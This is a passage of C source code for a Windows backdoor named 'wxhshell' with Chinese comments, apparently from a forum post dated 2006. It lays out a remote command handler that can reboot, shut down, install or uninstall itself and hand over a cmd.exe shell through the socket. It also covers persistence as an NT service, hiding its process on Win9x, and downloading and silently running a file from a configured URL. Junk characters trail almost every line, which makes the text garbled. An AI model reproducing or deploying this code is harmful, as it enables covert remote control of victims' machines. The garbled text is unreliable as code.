3xBN10R#  
    switch(cmd[0]) { &e%{k@  
  f zLANya  
  // 帮助 o{9?:*?7  
  case '?': { rumAo'T/%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kj x>  
    break; *mf}bTiS  
  } xM%H~(  
  // 安装 S#P+B*v  
  case 'i': { y!S^xS  
    if(Install()) @b]VCv0*f%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  &|/vM.  
    else B1y<.1k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sk#9x`Rw  
    break; v]66.-  
    } nA>*IU[  
  // 卸载 Bp &6x;MJf  
  case 'r': { La\Q'0  
    if(Uninstall()) &K06}[J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kclp}  
    else cE^kpnVq|<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]9fS@SHdx  
    break; S2Zx &D/_  
    } 1W*V2`0>  
  // 显示 wxhshell 所在路径 0xN!DvCg>.  
  case 'p': { +z+ F-  
    char svExeFile[MAX_PATH]; y= 2=DU  
    strcpy(svExeFile,"\n\r"); :]EP@.(  
      strcat(svExeFile,ExeFile); "P MO  
        send(wsh,svExeFile,strlen(svExeFile),0); 3b#L17D3_  
    break; :eSc;  
    } TKK,Y{{  
  // 重启 aZP 2R"  
  case 'b': { pV8[l)J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jz|VF,l  
    if(Boot(REBOOT))  dFzYOG1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QQ*gFP.Ao  
    else { bdCykG-  
    closesocket(wsh); 9p5= _  
    ExitThread(0); YmOldR9v(  
    } 5;}2[3}[  
    break; { AFf:[G  
    } Umij!=GPG^  
  // 关机 1bd$XnU  
  case 'd': { 2v4W6R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wXz\NGW  
    if(Boot(SHUTDOWN)) K6-6{vt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cbfD B^_  
    else { ># INEO  
    closesocket(wsh); l/[pEUYU  
    ExitThread(0); -=5EbNPwG  
    } / HL_$g<  
    break; su}&".e^  
    } HV8I nodi  
  // 获取shell :Pc(DfkS  
  case 's': { kY=rz&?U  
    CmdShell(wsh); C1 tb`  
    closesocket(wsh); I,]J=xi  
    ExitThread(0); 9YAM#LBTWi  
    break; >}CEN  
  } uj)yk*  
  // 退出 _p0)vT  
  case 'x': { Zd$JW=KR]l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @' d6iYk_  
    CloseIt(wsh); 7H4L-J3  
    break; pp<E))&R  
    } g@Ld"5$^2  
  // 离开 #,TELzUVE  
  case 'q': { a#$N%=j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Yc|uD-y  
    closesocket(wsh); 0 k9<&  
    WSACleanup(); P8<hvMF  
    exit(1); z{=v)F5y  
    break; >otJF3zw   
        } 0iV;g`%  
  } fCg@FHS&^  
  } Je 31".  
^zg acn  
  // 提示信息 V:OiW"/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sDX/zF6t  
} 2$ tQ @r  
  } ] opto  
#jm@N7OZ  
  return; _$5@uL{n"^  
} F5U|9<  
/kRAt^4!  
// shell模块句柄 6A?8tm/0  
int CmdShell(SOCKET sock) Lc%xc`n8B  
{ hl<y4y&|  
STARTUPINFO si; z0 \N{rP&  
ZeroMemory(&si,sizeof(si)); O@wK[(w^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o<rsAe  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2T?TM! \Q  
PROCESS_INFORMATION ProcessInfo; +(&|uq^  
char cmdline[]="cmd"; )b0];&hw]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $ser+Jt=  
  return 0; L#2ZMy  
} tDt :^Bc  
b]i>Bv  
// 自身启动模式 XXm'6xD-  
int StartFromService(void) -?z\5 z  
{ R5ZIC4p  
typedef struct 03_pwB)^  
{ , D"]y~~I5  
  DWORD ExitStatus; W-m"@<Z  
  DWORD PebBaseAddress; X3yS5wh d(  
  DWORD AffinityMask; r^5jh1  
  DWORD BasePriority; wDKELQ(y H  
  ULONG UniqueProcessId; kC`Rd:5  
  ULONG InheritedFromUniqueProcessId; 1qZG`Vz  
}   PROCESS_BASIC_INFORMATION; %K l(>{N  
i ?-Y  
PROCNTQSIP NtQueryInformationProcess; 2M&$Wuu.q  
SY T$3|a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :j,}{)5=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y\,f6=%k  
yb?|Eww_o  
  HANDLE             hProcess; OaaH$B  
  PROCESS_BASIC_INFORMATION pbi; `tVy_/3(9  
:c:V%0Yji  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WFDCPQ@  
  if(NULL == hInst ) return 0; f3#X0.':  
v2>Z^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EEwWucQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x.UaQ |F  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F0.zi>5  
U&W"Ea=R/  
  if (!NtQueryInformationProcess) return 0; cmDT +$s  
Y0RgJn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); no&-YktP}  
  if(!hProcess) return 0; 5v|EAjB6o  
MGaiTN^_<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0T9. M(  
[K:29N9~4  
  CloseHandle(hProcess); (a#pvEY  
IaasHo\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t9` Ed>a  
if(hProcess==NULL) return 0; ^P$7A]!  
zPE$  
HMODULE hMod; Z@M6!;y#  
char procName[255]; N RSU+D-z  
unsigned long cbNeeded; 2 Y+:,ud\  
S>t>6&A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wW5Yw i  
#pA[k -  
  CloseHandle(hProcess); #PFO]j!_b  
.8H}Lf\  
if(strstr(procName,"services")) return 1; // 以服务启动 >| m.?{^  
qm%nIU \*  
  return 0; // 注册表启动 A*i_|]Q  
} .NnGVxc5*  
s|2}2<+  
// 主模块 ChE_unw  
int StartWxhshell(LPSTR lpCmdLine) $ $4W}Ug3U  
{ 9XOyj5  
  SOCKET wsl; ri+U0[e3  
BOOL val=TRUE; w2zp#;d  
  int port=0; fj+O'X  
  struct sockaddr_in door; ~L'nz quF  
L|\Diap  
  if(wscfg.ws_autoins) Install(); i@,]Z~]  
{ERjeuDm]  
port=atoi(lpCmdLine); v8'5pLt"  
 Zi4d]  
if(port<=0) port=wscfg.ws_port; \_U*t!  
ik\S88|  
  WSADATA data; ea~i-7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .'lN4x  
)`Ed_F}k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'C~9]Y].  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mHs:t{q  
  door.sin_family = AF_INET; x+:zq<0|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _9kIRmT{  
  door.sin_port = htons(port); VQ<5%+  
TQ'e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qjLo&2)  
closesocket(wsl); p(?3 V  
return 1; h=[-Er'B  
} ?v.Gn9Z&  
fS I%c3  
  if(listen(wsl,2) == INVALID_SOCKET) { Le&;g4%  
closesocket(wsl); -3vh!JMN  
return 1; N^J*!]|  
} 5;Ia$lm=y  
  Wxhshell(wsl); A.U'Q|  
  WSACleanup(); 8 u:2,l  
>EIrw$V$  
return 0; MaErx\  
Jck"Ks  
} n7DLJ`ho{  
\h#9oPy  
// 以NT服务方式启动 voh^|(:(TH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zlkWU  
{ u[EK#%  
DWORD   status = 0; B_&^ER5j  
  DWORD   specificError = 0xfffffff; -tyaE  
]M\q0>HoJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [YE?OQ7#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )X%oXc&C|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dz,+tR~  
  serviceStatus.dwWin32ExitCode     = 0; qTy v.#{y  
  serviceStatus.dwServiceSpecificExitCode = 0; PL@7 KD Q  
  serviceStatus.dwCheckPoint       = 0; 2sun=3qb  
  serviceStatus.dwWaitHint       = 0; B5`;MQJ  
aAcKwCGq\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `]{Psc6_=  
  if (hServiceStatusHandle==0) return; 0WXVc  
[q"NU&SX  
status = GetLastError(); QgZJ`G--  
  if (status!=NO_ERROR) !gJzg*{u@  
{ 7@a\*|K6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y5%5O xB  
    serviceStatus.dwCheckPoint       = 0; yHOqzq56  
    serviceStatus.dwWaitHint       = 0; 3'^S3W%  
    serviceStatus.dwWin32ExitCode     = status; mu>] 9ZW  
    serviceStatus.dwServiceSpecificExitCode = specificError; r=\P!`{5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3):?ZCw7y  
    return; z Lw(@&  
  } 5M.Red.L  
=mLeMk/7 w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yxY h?ka  
  serviceStatus.dwCheckPoint       = 0; TrQm]9@  
  serviceStatus.dwWaitHint       = 0; |D+p$^L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |0]YA  
} 453 }S  
D2$^"  
// 处理NT服务事件,比如:启动、停止 &Ea"hd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k.Gl4 x  
{ -R8/`M8GbD  
switch(fdwControl) wt\m+!u`  
{ z L8J`W  
case SERVICE_CONTROL_STOP: ogp{rY  
  serviceStatus.dwWin32ExitCode = 0; B,MQ.|s[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; fFHK:n`  
  serviceStatus.dwCheckPoint   = 0; AoU_;B\b%  
  serviceStatus.dwWaitHint     = 0; c dDY]"k  
  { K4Y'B o4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5Kee2s?*  
  } 8W@dtZ,d  
  return; *?p ^6vO  
case SERVICE_CONTROL_PAUSE: wA1Ey:q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6"%@ L{UQ  
  break; ZIe+  
case SERVICE_CONTROL_CONTINUE: Q!`)e@r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; IqXBz.p  
  break; '(TmV#3  
case SERVICE_CONTROL_INTERROGATE: X*)?LxTj  
  break; ]2PQ X4t 0  
}; V07VwVD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); re/xs~  
} .Nk}Z9L]k  
%fBP:5%K  
// 标准应用程序主函数 e|JIrOnc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G LoiH#R  
{ 2+o!o  
i`R(7Z  
// 获取操作系统版本 {hM"TO7\  
OsIsNt=GetOsVer(); Y}S.37|+^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gU+ss  
.(JE-upJ"  
  // 从命令行安装 X:U=MWc>  
  if(strpbrk(lpCmdLine,"iI")) Install(); Q7L)f71i  
*!i,?vn  
  // 下载执行文件 ~};]k}  
if(wscfg.ws_downexe) { [A|(A$jl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *q}FV2  
  WinExec(wscfg.ws_filenam,SW_HIDE); b'&LBT7  
} +)?,{eE|  
J0Jr BXCh  
if(!OsIsNt) { b$dBV}0 L  
// 如果时win9x,隐藏进程并且设置为注册表启动 R9Ldl97'  
HideProc(); g ,`F<CF9  
StartWxhshell(lpCmdLine); 8~;{xYN )  
} U&`6&$]  
else Ndo}Tk!  
  if(StartFromService()) kp'b>&9r  
  // 以服务方式启动 x!OWJ/O  
  StartServiceCtrlDispatcher(DispatchTable); JR] )xPI`  
else s%5Uj }  
  // 普通方式启动 0h^uOA; c  
  StartWxhshell(lpCmdLine); cW=Qh-`jU;  
9z+vFk`  
return 0; h>~jQ&\M  
}
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只看该作者 1 发表于: 2006-10-10
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